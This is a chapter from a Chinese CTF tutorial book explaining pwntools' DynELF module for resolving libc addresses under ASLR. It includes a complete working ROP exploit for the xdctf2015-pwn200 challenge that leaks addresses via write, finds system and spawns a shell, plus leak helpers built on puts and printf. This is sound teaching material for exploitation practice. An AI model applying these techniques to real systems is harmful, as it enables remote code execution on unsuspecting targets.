CTF-All-In-One/doc/4.8_dynelf.md
2018-03-12 19:04:31 +08:00

11 KiB
Raw Blame History

4.8 使用 DynELF 泄露函数地址

DynELF 简介

在做漏洞利用时,由于 ASLR 的影响,我们在获取某些函数地址的时候,需要一些特殊的操作。一种方法是先泄露出 libc.so 中的某个函数,然后根据函数之间的偏移,计算得到我们需要的函数地址,这种方法的局限性在于我们需要能找到和目标服务器上一样的 libc.so而有些特殊情况下往往并不能找到。而另一种方法利用如 pwntools 的 DynELF 模块,对内存进行搜索,直接得到我们需要的函数地址。

官方文档里给出了下面的例子:

# Assume a process or remote connection
p = process('./pwnme')

# Declare a function that takes a single address, and
# leaks at least one byte at that address.
def leak(address):
    data = p.read(address, 4)
    log.debug("%#x => %s" % (address, (data or '').encode('hex')))
    return data

# For the sake of this example, let's say that we
# have any of these pointers.  One is a pointer into
# the target binary, the other two are pointers into libc
main   = 0xfeedf4ce
libc   = 0xdeadb000
system = 0xdeadbeef

# With our leaker, and a pointer into our target binary,
# we can resolve the address of anything.
#
# We do not actually need to have a copy of the target
# binary for this to work.
d = DynELF(leak, main)
assert d.lookup(None,     'libc') == libc
assert d.lookup('system', 'libc') == system

# However, if we *do* have a copy of the target binary,
# we can speed up some of the steps.
d = DynELF(leak, main, elf=ELF('./pwnme'))
assert d.lookup(None,     'libc') == libc
assert d.lookup('system', 'libc') == system

# Alternately, we can resolve symbols inside another library,
# given a pointer into it.
d = DynELF(leak, libc + 0x1234)
assert d.lookup('system')      == system

可以看到,为了使用 DynELF首先需要有一个 leak(address) 函数,通过这一函数可以获取到某个地址上最少 1 byte 的数据,然后将这个函数作为参数调用 d = DynELF(leak, main),该模块就初始化完成了,然后就可以使用它提供的函数进行内存搜索,得到我们需要的函数地址。

类 DynELF 的初始化方法如下:

def __init__(self, leak, pointer=None, elf=None, libcdb=True):
  • leakleak 函数,它是一个 pwnlib.memleak.MemLeak 类的实例
  • pointer:一个指向 libc 内任意地址的指针
  • elfelf 文件
  • libcdblibcdb 是一个作者收集的 libc 库,默认启用以加快搜索。

导出的类方法如下:

  • base():解析所有已加载库的基地址
  • static find_base(leak, ptr):提供一个 pwnlib.memleak.MemLeak对象和一个指向库内的指针,然后找到其基地址
  • heap():通过 __curbrk链接器导出符号指向当前brk找到堆的起始地址
  • lookup(symb=None, lib=None):找到 lib 中 symbol 的地址
  • stack():通过 __environlibc导出符号指向environment block找到一个指向栈的指针
  • dynamic():返回指向 .DYNAMIC 的指针
  • elfclass32 或 64 位
  • elftypeelf 文件类型
  • libc:泄露 build id下载该文件并加载
  • link_map:指向运行时 link_map 对象的指针

DynELF 原理

文档中大概说了下其实现的细节,配合参考资料的文章,大概就可以做到自己实现一个。

DynELF 使用了两种技术:

  • 解析函数
    • ELF 文件会从如 libc.so 库中导入符号有一系列的表给出了导出符号名、导出符号地址和导出符号的哈希值。通过对某个符号名做哈希可以定位到哈希表中然后哈希表的位置又提供了字符串表strtab和符号表symtab的索引。
    • 假设我们有了 libc.so 的基地址,解析 printf 地址的方法是定位 symtab、strtab 和 hash 表。对字符串"printf"做哈希,然后定位到哈希表中的某一条,然后从 symtab 中得到其在 libc.so 的偏移。
  • 解析库地址
    • 如果我们有一个指向动态链接的可执行文件的指针,就可以利用一个称为 link map 的内部链接器结构。这是一个链表结构,包含了每个被加载的库的信息,包括完整路径和基地址。
    • 有两种方法可以找到这个指向 link map 的指针。两者都是从 DYNAMIC 数组条目中得到的。
      • 在 non-RELOAD 的二进制文件中,该指针在 .got.plt 区域中。这是通过 DT_PLTGOT 找到的。
      • 在所有二进制文件中,可以在 DT_DEBUG 描述的区域中找到该指针,甚至在 stripped 之后也不例外。

DynELF 实例

在 libc 中,我们通常使用 writeputsprintf 来打印指定内存的数据。

write

#include <unistd.h>

ssize_t write(int fd, const void *buf, size_t count);

write 函数用于向文件描述符中写入数据,三个参数分别是文件描述符,一个指针指向的数据和写入数据的长度。该函数的优点是可以读取任意长度的内存数据,即打印数据的长度只由 count 控制,缺点则是需要传递 3 个参数。32 位程序通过栈传递参数,直接将参数布置在栈上就可以了,而 64 位程序首先使用寄存器传递参数,所以我们通常使用通用 gadget参见章节4.7 来为 write 函数传递参数。

例子是 xdctf2015-pwn200文件地址。在这个程序中也只有 write 可以利用:

$ rabin2 -R pwn200
...
vaddr=0x0804a004 paddr=0x00001004 type=SET_32 read
vaddr=0x0804a010 paddr=0x00001010 type=SET_32 write

另外我们还需要 read 函数用于读入 '/bin/sh` 到 .bss 段中:

$ readelf -S pwn200 | grep .bss
  [25] .bss              NOBITS          0804a020 00101c 00002c 00  WA  0   0 32

栈溢出漏洞很明显,偏移为 112

gdb-peda$ pattern_offset 0x41384141
1094205761 found at offset: 112

在 r2 中对程序进行分析,发现一个漏洞函数,地址为 0x08048484

[0x080483d0]> pdf @ sub.setbuf_484
/ (fcn) sub.setbuf_484 58
|   sub.setbuf_484 ();
|           ; var int local_6ch @ ebp-0x6c
|           ; var int local_4h @ esp+0x4
|           ; var int local_8h @ esp+0x8
|              ; CALL XREF from 0x0804855f (main)
|           0x08048484      55             push ebp
|           0x08048485      89e5           mov ebp, esp
|           0x08048487      81ec88000000   sub esp, 0x88
|           0x0804848d      a120a00408     mov eax, dword [obj.stdin]  ; [0x804a020:4]=0
|           0x08048492      8d5594         lea edx, [local_6ch]
|           0x08048495      89542404       mov dword [local_4h], edx
|           0x08048499      890424         mov dword [esp], eax
|           0x0804849c      e8dffeffff     call sym.imp.setbuf         ; void setbuf(FILE *stream,
|           0x080484a1      c74424080001.  mov dword [local_8h], 0x100 ; [0x100:4]=-1 ; 256
|           0x080484a9      8d4594         lea eax, [local_6ch]
|           0x080484ac      89442404       mov dword [local_4h], eax
|           0x080484b0      c70424000000.  mov dword [esp], 0
|           0x080484b7      e8d4feffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x080484bc      c9             leave
\           0x080484bd      c3             ret

于是我们构造 leak 函数如下,即 write(1, addr, 4)

def leak(addr):
    payload  = "A" * 112
    payload += p32(write_plt)
    payload += p32(vuln_addr)
    payload += p32(1)
    payload += p32(addr)
    payload += p32(4)
    io.send(payload)
    data = io.recv()
    log.info("leaking: 0x%x --> %s" % (addr, (data or '').encode('hex')))
    return data

d = DynELF(leak, elf=elf)
system_addr = d.lookup('system', 'libc')
log.info("system address: 0x%x" % system_addr)

注意我们需要一个 pppr 的 gadget 来平衡栈:

$ ropgadget --binary pwn200 --only "pop|ret"
...
0x0804856c : pop ebx ; pop edi ; pop ebp ; ret

得到了 system 的地址,就可以利用 read 函数读入 "/bin/sh",从而得到 shell完整的 exp 如下:

from pwn import *

# context.log_level = 'debug'

elf = ELF('./pwn200')
io = process('./pwn200')
io.recvline()

write_plt = elf.plt['write']
write_got = elf.got['write']
read_plt = elf.plt['read']
read_got = elf.got['read']

vuln_addr = 0x08048484
start_addr = 0x080483d0
bss_addr = 0x0804a020
pppr_addr = 0x0804856c

def leak(addr):
    payload  = "A" * 112
    payload += p32(write_plt)
    payload += p32(vuln_addr)
    payload += p32(1)
    payload += p32(addr)
    payload += p32(4)
    io.send(payload)
    data = io.recv()
    log.info("leaking: 0x%x --> %s" % (addr, (data or '').encode('hex')))
    return data
d = DynELF(leak, elf=elf)
system_addr = d.lookup('system', 'libc')
log.info("system address: 0x%x" % system_addr)

payload  = "A" * 112
payload += p32(read_plt)
payload += p32(pppr_addr)
payload += p32(0)
payload += p32(bss_addr)
payload += p32(8)
payload += p32(system_addr)
payload += p32(vuln_addr)
payload += p32(bss_addr)

io.send(payload)
io.send('/bin/sh\x00')
io.interactive()

该题除了这里使用 DynELF 的方法,在后面章节 6.3 中,还会介绍一种使用 ret2dl-resolve 的解法。

puts

#include <stdio.h>

int puts(const char *s);

puts 函数使用的参数只有一个,即需要输出的数据的起始地址,它会一直输出直到遇到 \x00所以它输出的数据长度是不容易控制的我们无法预料到零字符会出现在哪里截止后puts 还会自动在末尾加上换行符 \n。该函数的优点是在 64 位程序中也可以很方便地使用。缺点是会受到零字符截断的影响,在写 leak 函数时需要特殊处理,在打印出的数据中正确地筛选我们需要的部分,如果打印出了空字符串,则要手动赋值\x00,包括我们在 dump 内存的时候,也常常受这个问题的困扰,可以参考章节 6.1 dump 内存的部分。

所以我们常常需要这样做:

data = io.recv()[:-1]   # 去掉末尾\n
if not data:
    data = '\x00'
else:
    data = data[:4]

这只是个例子,还是要具体情况具体分析。

printf

#include <stdio.h>

int printf(const char *format, ...);

该函数常用于在格式化字符串中泄露内存,和 puts 差不多,也受到 \x00 的影响,只是没有在末尾自动添加 \n。而且还有个问题要注意,为了防止 printf 的 %s\x00 截断,需要对格式化字符串做一些改变。更详细的内容请参考章节 6.2。

参考资料